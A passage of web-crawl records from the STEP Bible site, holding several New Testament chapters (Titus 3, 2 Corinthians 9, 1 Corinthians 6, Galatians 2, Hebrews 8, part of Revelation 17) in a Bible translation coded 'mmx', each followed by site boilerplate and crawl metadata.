atdik. 7 Kuren la ne Moroa ga lox asuusu letaba nabalamu ren tidik, la kerepmo diga tong i do nedik limixin mokmokso; la kerepmo nedik ta lok ngan laxamdak teren la dik tanaba ruuna ka lorooro avolo. 8 Na levelinga mumu loklox arooro at ne Moroa i ruturun; la una lolos ti tong asu amisix i ri limixin nuunu me Krit, kusu dina lolos ti lok leven gugu nunuan. Na leven gugu nunuan i lox avukat la i lok tooro limixin axap.\n9 Ketla nemen uta vetep mi levelinga at levempanga gamasa. Na levelinga i lok ngan ta levenasen at lavalabat at lubungmixin me Judaia, la i lok ngan bok levelinga ik lok to xeneng at Lenavolo at ne Moses. Una ke na levempanga, mila na levempanga noxo lok tooro limixin nuunu. 10 Una vaase sok nege taradi i lok leven ekarakat. Do neni move na lox axis epeseves limixin, una vaase sok box i. Dola neni noxo ronga res at levelinga ram, una ke xepe i. 11 Una lox i xuren mila limixin kerepmo lodoxoma atdi i xaxarang arup di la lorooro atdi i umsu mi laxapmek. La mo laxapmek teren i lox asuusu i do levelinga bok teren i lok kapmek.\nLevelinga Loklox Axap12 Leventaba levelinga bok na, nenia ana tong i ru. Ana sak tiki ne Atemas kopla ne Tikikas saparav u. Dola neni na rupot, neni na lok kun u la una lolos ti vot pasa ia ro at lemenemen Nikopolis; nenia aba nemen go at leven gaaling at laavat.\n13 La una lok tooro avukat ne Sinas, laradi likling at levelinga, eburu mi ne Apolos at lavatpas atdu. Una lok taba du mi levempanga duk pakes tin ti mo lavatpas. 14 La limixin axap atnedik, dina lolos amisik ti lok leven gugu nunuan kusu diba lox epovo lavakpakes atdi la diba lok tooro limixin petpes.\n15 Nema eburu mi limixin nuunu dik lok de, ma lox aonon lavapaase momo ru. Una raba bok lavapaase momo atnema rinedi limixin di etangas minema xeneng at lunuunu atnedi.\nLetaba nabalamu na nemen eburu minemi axap. I ruturun.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Tit.3","date":"2018-10-16T02:18:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583509960.34\/warc\/CC-MAIN-20181016010149-20181016031649-00481.warc.gz","language":"mmx","language_score":0.9999706745,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999706745147705}","num_words":744,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.255,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corinthians 91 Ixok pakes tia xusu ana malagan tinimi mumu loklok tooro miba lox aonon i uto ri limixin at ne Moroa di nemen to Judaia. 2 Akleklen i do nemi mi gagas amisik kusu ri lok tooro, kuren la a lox aru amisik nimi ri limixin Masadonia. Aga tong i ridi do nemi limixin to Grik mi gagas kusu ri lok tooro, ga ru ka i at no lamaares ga xap. Mo lavavara atnemi ga lox axatu buaang levendoxoma xeneng atdi xusu nedi bok dina lok tooro. 3 Mo nga nia ana riki aonon na luvutneton dik, kusu lavapaase aru atnama mumu nimi xeneng at laramtaba atnimi noxo ravasu ngan lavanga gamasa mun. Ketla i ngan nia ara tong pam i do, minaba gagas li mo loklok tooro atnemi. 4 Panga tentaba me Masadonia na emu minia udom saparap nimi la dina long lenger i do nemi mixo gagas; maba mangan aleng mumu nimi, la maba tong ka lavanga sala atla maga nuunu abos do miba lox epovo i. La ni lavanga mamangan tinimi. 5 Kuren la a doma i do i epovo do ana sing na luvutneton dik kusu dinamgo ria udom atnimi xusu dina gagas li avot be nimi ri laramtaba nemi miga vaase alii min. Minaba gagas at loxonaleng do nia ana vot, la na laramtaba ba lox asuusu i do mi etaba mila miga vara i xuren, la kopmen do miga morong min.\nLavapaase Poovo Mumu Loklok Ti Raba6 Mina doma i na, neni do itlotlo tevempanga lixilik mun naba ruuna tevempanga lixilik bok; la laradi do itlotlo taxanit panga solo, neni naba ruuna teveluxa solo. 7 Nedi getgesara dina raba kerekngan lodoxoma atdi la nemen gat loklox angtungun kopla tara na pu soso di, mila ne Moroa i momo mi laradi i raba mi lomomo xeneng teren. 8 La ne Moroa xa i epovo na raba nimi mi leveloklox anarong axap naba umsu aleng, kusu at levenaleng axap miba ruuna epovo amisik at levempanga axap la ne Moroa xa ba lok levempanga atnimi mitlotlo i na pisik nunuan kusu miba epovo rinotno do mina lok leven gugu nunuan. 9 Kerekngan Lovoang Kaala i tong i do,\n\"Neni im taba mi lomomo rinedi limixin banbalo, mo loklok teren tim taba naba nemen amisik.\" a\n10 Moroa im taba levenit panga ritlotlo mi levengkongkide ri anan la kerepmo neni naba raba bok nimi mi levenit axap nemi mik pakes tin la na lox asuusu i xusu miba pisik asu leven gugu nunuan i buaang aleng. 11 Neni nabak lok nimi minap novos aleng at levempanga axap, kusu miba lok tooro amisik limixin petpes. La buaang bok atnedi limixin diba tong aorong ti ne Moroa ri laramtaba atnimi ridi, no miba raba mu nama min.\n12 Mo loklok tooro ap mo laramtaba atnimi noxo ven mun ti lavakpakes at limixin at ne Moroa, ketla ba lox asuusu bok buaang lorotong avukat keneng at lorooro atdi ri ne Moroa. 13 Mo laramtaba atnimi ba lox asuusu i do nemi limixin tuturun; la limixin petpes diba emi asu mi ne Moroa mumu lorongtonga res mi lurutu lolos atnimi ri Lagale Lavavang at ne Karisito, la mumu bok mo lomomo atnimi ri lok tooro mi leventamtaba ridi la ti limixin petpes bok. 14 La diba sing lolos bok tinimi mi labalamu rinotno xeneng at lorooro atdi, mumu lugugu asuusu atnimi ri lagale letaba nabalamu at ne Moroa, mo neni ga raba nimi min. 15 Ata tong avukat tinotno ri ne Moroa ri mo laramtaba ren tidik i silok aleng tinotno.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=2Cor.9","date":"2018-10-19T22:50:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512460.41\/warc\/CC-MAIN-20181019212313-20181019233813-00402.warc.gz","language":"mmx","language_score":0.9998412132,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9998412132263184}","num_words":739,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.218,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"aLur 2:24\n1 Corinthians 6\nLeven Ekarakat Kantubu At Limixin Lotu1 Mo do tara atnimi i ruuna tekarakat eburu mi tara taradi vetpes at lotu, nemen gat ni nat pas uto at lubung amgomgo at lavamolon kusu dina lox akmokso mo lekarakat. Ketla neni nat pas min uto at limixin di nuunu at ne Moroa xusu diba lox akmokso du. 2 Mi xasep avukat pam do limixin di nuunu at ne Moroa dinaba ila mumu loklok at limixin axap at laaleng ete. La do melemu nemi xa minaba ila mumu loklok at limixin axap, tila ba la mixo epovo xusu mina ila mumu loklok at na lempanga lixilik mun. 3 Miklen i do nedik luvuttadi nuunu at ne Iesu ataba ila mumu bok loklok at lubung angelo. La kerepmo dik ta epovo do tana ila mumu leveloklok at na lorooro. 4 Kuren la mina lok katling teventaba at lotu xusu dina ila mumu loklok atnimi mo do teven ekarakat na vot kantubu atnimi. I epovo do nedi luvuttadi mene xuren at lotu dina xip ka mo lugugu mila maxeneng at na diba lox avukat ti laradi maxamang at lotu. 5 A tong i na rinimi ri lox amamangan nimi. Kereva, kopmen taradi dom kantubu atnimi i epovo ri ila mumu loklok atnemi limixin at lotu? 6 Ketla nemi mi mumu na loklok kakapmek; taradi nuunu na lok li bok taradi nuunu at lavapaase ro melamgo at taradi xopmen tunuunu ren saparap ne Iesu Karisito.\n7 Anai leven ekarakat kantubu atnimi limixin nuunu mik lok ka i uto at lavapaase, i lox asuusu i do nemi mira subu vam at lunuunu atnimi. Kuren la nemen mita vosiga laradi maxamang at lotu ri lox amokso lumumuat mo do limixin dina vaxaxip nemi mi laxakapmek. La nemen mita vosiga laradi maxamang at lotu ti lox amokso tumumuat mo do teventaba vetpes dina xip pilo ka levempanga atnimi. 8 Ketla nemi xa mi lok laxakapmek tinemi getgesara, la mi xip pilo bok lempanga atnemi, ketla mira domampe vam i do nemi loxoeton mun keneng at laasen at ne Iesu Karisito.\n9 Mi xasep pam do limixin kapmek di noxo ruuna ka toxot to xeneng at Linintoo at ne Moroa. La mina xasep nunuan at na levelinga; limixin di lok loklok kakapmek maxamang at lixitkis epot, la di lotu saparap laxampoovo moroa, la di elongka, kopla lavatlok axa di velongka. 10 La nedi dip kip pilo mi loklok ti belagaao, kopla di inin tangtangku, la dik lox asi lentaba mi levelinga, kopla dip sep paxat ka lempanga, kopmen tara atdi noxo ruuna ka toxot to xeneng at Linintoo at ne Moroa. 11 Lentaba atnimi digak lok kerepmo. Ketla ne Moroa ga gos nemi axap basinge laxakapmek atnimi; la nemi xa ga ravasu ngan limixin dadat at ne Moroa; la at laasen mun at Leeme Silok ne Iesu Karisito la mi Loroonan mun at ne Moroa, neni ga lox asepmus nimi basinge loklok kakapmek.\nMina Ke Xepe Loklok Ti Lok Laxakapmek12 Lentaba atnimi dinaba tong i do, \"I epovo do nia ana lok levempanga axap.\" I ruturun, ketla kopmen levempanga axap naba lok tooro nimi. La nenia ana tong i do, \"I epovo do ana lok lempanga axap.\" Ketla aba ke xepe levempanga xapmek mo i epovo na xoxo ia. 13 La lentaba diba lok keretna, \"Moroa ga lok levenbelen dik ti leveluxa la ga lok leveluxa ri lox aumsu levenbelen dik.\" I ruturun, ketla ne Moroa naba lox asonao buru labantuxu mi lengkot teren. I ruturun bok do labantuxu atdik kopmen tik lok laxakapmek maxamang at lixitkis epot, ketla ne Moroa ga rudum li dik kusu ata emi asu mi Leeme Silok; la Leeme Silok axa ik lok tatao labantuxu atdik. 14 Moroa ga lox axatu Leeme Silok basinge lanmet, la neni bok naba lox aroo amlong nedik mi lololos teren basinge lanmet.\n15 Miklen i do labantuxu atnimi neni i lok ngan levengkot at labantuxu at ne Karisito. Kereva, i lox avukat kusu ana lok pes tenep at labantuxu at ne Karisito la ana lox etang i mi labantuxu at latkin ngarangat? Kopmen tinotno. 16 Mi xasep pam do laradi i lox etang labantuxu ren mi latkin ngarangat, nedu du lok ngan legesara mun keneng at labantuxu atdu. Levelinga ro xeneng at Lovoang Kaala i tong axasep avukar i do,\n\"Nedu du lok ngan legesara mun keneng at labantuxu atdu.\" a\n17 Ketla laradi na xis etangas mi Leeme Silok, loroonan teren i lok ngan legesara eburu mi Leeme Silok.\n18 Mina ke xepe rinotno loklok kakapmek maxamang at lixitkis epot. Laxakapmek petpes do lara i lox i, kopmen na lok kapmek labantuxu ren; ketla laradi do i lok na loklok ti lok laxakapmek maxamang at lixitkis epot, neni i lox abilinga rinotno labantuxu ren. 19 Mi xasep pam do labantuxu atnimi, i lok ngan loogu laplavang at Loroonan Kaala, mo i nemen keneng atnimi, la ne Moroa axa ga raba nemi min. Nemi xopmen atnimi xa, ketla nemi at ne Moroa. 20 Neni ga xuruse ka vam nemi mi luunun. Kuren la mina ke xepe loklok kakapmek keneng at labantuxu atnimi la kerepmo miba lox asuusu loklok ngangao ri ne Moroa.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Cor.6","date":"2018-10-16T14:53:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583510754.1\/warc\/CC-MAIN-20181016134654-20181016160154-00128.warc.gz","language":"mmx","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000002384185791}","num_words":1000,"character_repetition_ratio":0.066,"word_repetition_ratio":0.006,"special_characters_ratio":0.212,"stopwords_ratio":0.279,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Galatians 2\nPol Eburu Mi Leventaba Lavaun Pavang Bok1 Ga melemu at lasangaun mi lavanuet maares, agamlong manga uto Jerusalem eburu mi ne Banabas, la ne Taitas bok ga emu minema'. 2 Agat pas ugo atla, ne Moroa xa ga vaase i ria xusu anat pas ugo. La keneng at lara lixitkis buru atnama mi lubung amgomgo kusuk mun, nenia aga soxomus Lagale Lavavang a vavang min ti limixin kopmen di me Judaia. Nia aga lox i na xusu dina siam mu mo lugugu rak. Lavanga no lugugu avot tarak la ana lugugu at na levenaleng na subu. 3 Ketla diga siam mu levelinga atnama mi ne Taitas, laradi loklok tooro rak. Neni laradi xopmen i me Judaia, la di goxo tong i do ni na vit kepe toxontuxu ren. 4 Ketla leventaba diga vara i xusu dina vit kepe lengkontuxu at luvuttadi nuunu xopmen di me Judaia, la digak lok labala ngan nedi luvuttadi nuunu la nedi na lemet tadi digak beles mun at libinam atnema ngan luvuttadi vereven alii; la diga vavara mun i xusu dinang long terek lesepsepmus tinotno basinge Lenavolo nema magak lok kaka i xeneng at ne Iesu Karisito. Diga vara mun i xusu dinak lok ka nema ukeneng at leveloklok atnedi, la manak lok maxopok at leventaangas at Lenavolo. 5 Ketla nema ma goxo ronga res atnedi at tekonaleng, atla ma goxopara i xusu mana lok lodoxoma atnemi na xipgas la mina doma xepe Lagale Lavavang i ruturun.\n6 Tinedi no limixin di tong di do lubung amgomgo at lotu, nenia axo doma solo i do nedi di silok kopla xopmen; atla ne Moroa xopmen na viila mumu leveloklok at tara mi levereven teren. Nedi di goxo vaase bok ba tekolinga mavana at lavavang tarak. 7 Ketla nedi diga ven kibis i do ne Moroa ga raba ia mi lugugu silok ti paase asu Lagale Lavavang ti limixin kopmen nedi me Judaia, ga lok ngan pam neni ga raba bok pam ne Pita mi lugugu silok ti vavang mi Lagale Lavavang ti limixin me Judaia. 8 Moroa ga lox alolos ne Pita xusu neni laradi vavang ti limixin me Judaia la kerepmo bok neni ga lox alolos ia xusu nenia laradi vavang ti limixin kopmen di me Judaia. 9 La ne Jems, ne Pita la ne Jon, nedi na lubung angkipkip at lotu, diga ven kibis i do ne Moroa ga raba nema' mi ne Banabas mi na lugugu i lok petpes tinotno; kuren la diga etep tikngen minama' mi ne Banabas, ga lok ngan loklok katling do nema axap ma ruuna legesa gugu mene nga. La diga lok lisisiam do nema' mi ne Banabas, maba gugu xantubu at limixin kopmen di me Judaia, la nedi diba gugu ro at leme Judaia. 10 La nedi diga vara i xusu nema' mana doxoma bok levempakpakes at limixin banbalo kantubu atnedi, nenia aga ruuna lodoxoma liplivi rinotno ri lok na lavanga.\nPol Ga Vaase Lolos Ti Ne Pita Ro Antiok11 Ketla at loxonaleng ne Pita gat pas uto Antiok, nenia aga vaase tangarang tinotno i at lemeren e, atla ga xasep tinotno do neni ga soogong. 12 At lara laaleng ne Jems ga riki lentaba luvuttadi nuunu me Judaia ugo; avot ti lovotpot atdi, ne Pita nga no garak lok pam la gara vaanan eburu mi limixin kopmen di me Judaia. La melemu at loxonaleng na luvuttadi me Judaia diga vot, neni goxo an eburu bok ba minedi, atla neni ga marat at Lenavolo at leme Judaia mumu loklok ti ke laanan eburu mi limixin kopmen di me Judaia, la atla neni ga anan eburu mi luvuttadi no di goxo vit kepe lengkontuxu atdi. 13 La nedi bok mo leme Judaia mego Antiok, digara lok ngan bok laxampanga makmarat ngan bok ne Pita; la ne Banabas bok gara mu asu bok nedi la nedi axap diga soogong.\n14 Kuren la at loxonaleng nia aga ven i do nedi di goxo mu asu langas mokmokso mi luruturun at Lagale Lavavang, aga vaase ri ne Pita ro melamgo rinotno atnedi axap keretna, \"Nenu laradi me Judaia, ketla nenu nom e, u mumu asu leveloklok at limixin kopmen di me Judaia, la uxop tuvuk ngan laradi me Judaia. Kuren la ua lavasuun teren la u sat ka limixin kopmen di me Judaia xusu dina mumu asu leveloklok at leme Judaia?\"\nLimixin Di Roo Suu Mumu Mun Lunuunu Atnedi15 Limixin me Judaia di tong i xeretna, \"Nema limixin me Judaia, la nema xopmen mana ngan nedi limixin kopmen di me Judaia dixo mumu asu Lenavolo.\" 16 Ketla nema leme Judaia maklen i do, laradi mun i nuunu at ne Iesu Karisito, neni mun i sepmus basinge loklok kakapmek, la kopmen do i mumu asu Lenavolo. La kerepmo bok ma nuunu at ne Iesu Karisito xusu manaba sepmus basinge loklok kakapmek, kopmen do ti mumu asu Lenavolo. Ana kopmen noxo ravasu at loklok ti mumu asu Lenavolo, atla kopmen teta naba sepmus basinge loklok kakapmek do neni na mumu asu mun Lenavolo.\n17 La amo do nema ma doma i do mana lok kepe Lenavolo la mana sepmus basinge loklok kakapmek keneng at lunuunu atnema saparap ne Karisito, anai naba lox asuusu i do nema limixin ma ruuna laxapmek mila ma lok kepe vam Lenavolo. Kereva ba, lunuunu saparap ne Karisito i lok nema ngan luvuttadi xapmek, kuren la ne Karisito i lox asu laxakapmek? Kopmen tinotno. 18 Do nenia anamlong ti loklok at Lenavolo no nenia aga lok kepe i, anaba lox asuusu i xeretna do nenia laradi rongtonga xepe at Lenavolo. 19 Lavasuun at na xeretna. Lenavolo ga lox ase ia do nenia laradi xapmek, kuren la aga lok ka lunuunu maxat la aga sepmus ba basinge Lenavolo. La mo nga nia a epovo na rooro ti lok lugugu at ne Moroa. 20 I lok ngan ta do diga vaxarem ia eburu mi ne Karisito ro at laxaba; la kopmen nenia xa na a rooro, ketla ne Karisito axa na i rooro xeneng tarak. La lorooro nenia ak lok keneng teren, ni lorooro mi lunuunu keneng at ne Nitna ne Moroa, la neni ga balamu ia la ga raba lorooro ren kusu na uu nop loklok tarak. 21 Nenia a xopara i xusu ana sok tixirixes letaba nabalamu at ne Moroa. Ketla do taradi na doma i do neni naba sepmus basinge loklok kakapmek mumu lumumu asu ren at Lenavolo, i milik ngan ta keretna do, goxopmen tavasuun ti lanmet at ne Karisito.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Gal.2","date":"2018-10-16T05:45:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583510019.12\/warc\/CC-MAIN-20181016051435-20181016072935-00371.warc.gz","language":"mmx","language_score":0.9999949932,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999949932098389}","num_words":1218,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.265,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"aJer 31:31-34\nHebrews 8\nIesu Neni Lamaasa Gomgo At Lekabus Maxat1 Lavasuun at na levelinga atnama i lok keretna. Nedik ta ruuna lamaasa gomgo xerepmo, mo it kis at lekngen tino at loxonin orong at ne Moroa i silok aleng, to vana at laxalibet. 2 Neni ik lok lugugu at ne Moroa ro xeneng at loxot i xaala aleng mo ik lok at loogu ruturun, kopmen limixin di goxo lox i, ketla ne Moroa xa ga lox i.\n3 Nedi axap, lavamaasa amgomgo dip kip lugugu xusu dina raba ne Moroa mi leventamtaba la levempanga laplavang, la kerepmo bok i epovo do Lamaasa gomgo ne Iesu na ruuna tavanga xusu ni na raba ne Moroa min. 4 Do neni gik lok nade at na lavatbung menemen, neni gi toxo ruuna ka lugugu ngan lamaasa mila leventaba luvuttadi mo gik lok pam kusu ri raba leventamtaba ngan Lenavolo i tong i. 5 Nedi di gugu ro at loxot kaala nade xopok at na lavatbung menemen, na loxot kaala neni lampoovo mun ap mo loxot kaala no vana at laxalibet. Ni lavasuun teren la ne Moroa ga vaase lolos ne Moses at laaleng neni ga lok do na xip loogu kadis at ne Moroa, la ne Moroa ga lok tin keretna, \"A vara i do una xip avukat na loogu ngan lampoovo nia aga lox ase u min to at lakaana Sinai.\" 6 Ketla mo lugugu ne Iesu ga lok ka i, i lox avukat ti lugugu at lavamaasa mede xopok, i ngan bok lekabus maxat i lox avukat ti lekabus migomgo; la leveloklox anarong at lekabus maxat i lox avukat ti leveloklox anarong at lekabus migomgo. La ne Iesu neni lavasuun at lekabus maxat, ni ga lok lumulum kantubu at limixin mi ne Moroa.\n7 Lekabus migomgo goxo epovo na lox axis eburu ne Moroa mi limixin, kuren la ne Moroa ga lok lekabus maxat. 8 Moroa ga ven kibis i do lekabus migomgo goxo epovo mila limixin diga soogong aleng; ni ga lok,\n\"Mina ronga i na. Laaleng mo naba vot la nia anaba lok lekabus maxat mi limixin tarak to Israel la limixin tarak at libibinat me Juda. 9 Mo lekabus maxat ba lok petpes ti lekabus migomgo, mo nia aga lox i eburu mi lavalabat atdi ap mo levenaleng nia aga lam asu di boro Isip. Nia aba lok lekabus maxat mila di goxo ruturun ti lekabus migomgo, la nia aga raba arulu di. 10 Nenia ne Moroa, mina ronga na levelinga. Melemu nia anaba lok lekabus maxat mi limixin me Israel. Mo lekabus naba lok keretna; nia anaba lox adoxoma di mi levelinga rak, la anaba buradong levelinga rak keneng at lebelen di. Nia anabat kis esogo midi la anabak lok tatao di ngan limixin tarak. 11 Kopmen bok ba tara naba anasa lentangas teren kopla neton mi levelinga keretna, 'Unaklen ne Moroa.' Mila nedi axap dinaba xis ekilen eburu minia; nedi limixin silok la limixin gamasa bok. 12 Nia anaba doxoma xepe laxakapmek atdi la nia noxo domangke rinotno bok ba at laxakapmek atdi.\" a\n13 Moroa ga soxot na lekabus do lekabus maxat, kuren la Moroa ga ke xepe lekabus migomgo mila kopmen bok ba tugugu ren la ma lixilik na sonao axap.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Heb.8","date":"2018-10-16T10:25:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583510749.37\/warc\/CC-MAIN-20181016093012-20181016114512-00252.warc.gz","language":"mmx","language_score":0.999871254,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9998712539672852}","num_words":687,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.277,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Revelation of John 17\nLatkin Ngarangat1 La lara atdi na lavanuti lubungangelo, mo digam tebeng mo lavanuti leventingtigon, ga vot pasa ia la ga lok, \"Pen ba i na, la ana lox ase u mi losongsongot silok, ne Moroa naba sep mo latkin ngarangat min, mo it kis saparap laxan taadan solo. 2 Lavaorong silok axap at na lavatbung menemen digang longka i la limixin at na lavatbung menemen diga lok laxakapmek min, i lok ngan ta do diga inin tangtangku mi lavaen.\"\n3 La Loroonan Kaala ga vubeles tarak la nom laangelo ga xip kaka ia uto at lamatbin. La nia aga ven lara latkin gat kis to vana at lara lavatpanga sio ga memele aleng la ga ruuna lavanuti lempatlak la lasangaun lempatkom; la laxanasen kapmek, ni levelinga vupu ri ne Moroa ga umsu at labantuxu ren. 4 Na latkin ga sigaara mi lisingsiga ga memele aleng la ga umsu mi logol eburu mi lengkonuat gamgames, luunun silok ap mo lengkonuat; la leven peal inbun gak lok bok ap mo lisingsigaara ren. Ni gam tebeng lavattingtigon gol ga umsu mi laxangkakapmek teren eburu mi libilinga at loklok teren. 5 La levelinga ga nemen to at lamang teren ketla lavasuun teren goxo xasep. Mo levelinga ga lok keretna,\n\"Lemenemen silok Babilon, ni lavasuun at loklok ngarangat la neni bok lavatturunen at leveloklok kakapmek axap at na lavatbung menemen.\"\n6 La nia aga ven mo latkin ga inin tangtangku mi lada at limixin at ne Moroa, la atnedi bok limixin diga met mila diga nuunu at ne Iesu.\nSe nia aga ven i, aga sangu aleng. 7 Ketla laangelo ga lok tia, \"Tila u sangu? Ana soxomus lavasuun at nom latkin eburu mi lavatpanga sio, neni it kis pana ren, la i ruuna lavanuti lempatlak teren la lasangaun lempatkom. 8 Mo lavatpanga sio ga rooro gano, kopmen na rooro lingina, ketla melemu naba vasu boro at lemeroon la ba seeve to at lemenemen songsongot. La nedi limixin at na lavatbung menemen, kopmen levenasen atnedi goxok lok keneng at lubuk at lorooro, ga ru ka i at lurutu kaxat at na lavatbung menemen, dinaba sangu aleng do dina ven na lavatpanga sio. Neni ga rooro be, ketla monga neni kopmen na rooro, ketla naba rupot melemu.\n9 Do tara i vara na xasep at na, neni na doma mumu avukar i. Mo lavanuti lempatlak i ru katling lavanuti lengkongkaana la latkin ngarangat it kis to mavana atdi. La mo lavanuti levempatlak i ru katling bok lavanuti lavaorong silok. 10 La lavalimo atdi diga met pam, la legesara atdi mo nga it kis ngan loorong silok; la legesara bok ba vot ketla ba nemen at lentaba levenaleng mun. 11 La lavatpanga sio, mo ga rooro la na nga i met pam, neni loorong silok sepsev avanuan; la neni bok lara atnedi lavanuti lavaorong silok la ni naba seeve.\n12 La mo lasangaun lempatkom nenu ura ven pam i, di ru katling lasangaun lavaorong silok kovisi dina lok ka lixitkis atdi kusu dinam gomgo ri limixin. Ketla nedi eburu mi lavatpanga sio diba lok ka lololos ngan lavaorong silok at lavanna sangaun minit mene. 13 La nedi diba ruuna legesa doxoma mun la diba raba lavatpanga sio mi lololos atdi la diba mumu asu i. 14 La na lavatpanga sio eburu mi lasangaun lavaorong silok diba esep eburu mi Lanasip. La Lanasip eburu minedi neni ga ro xaka di, la nedi bok neni ga soxolik ka di la nedi bok di mumu asu ruturun i, diba sak tup mi na lavatpanga sio eburu mi lasangaun lavaorong silok, mila Lanasip neni Leeme Silok mavana at lavaeme silok axap la neni Loorong Silok mavana at lavaorong 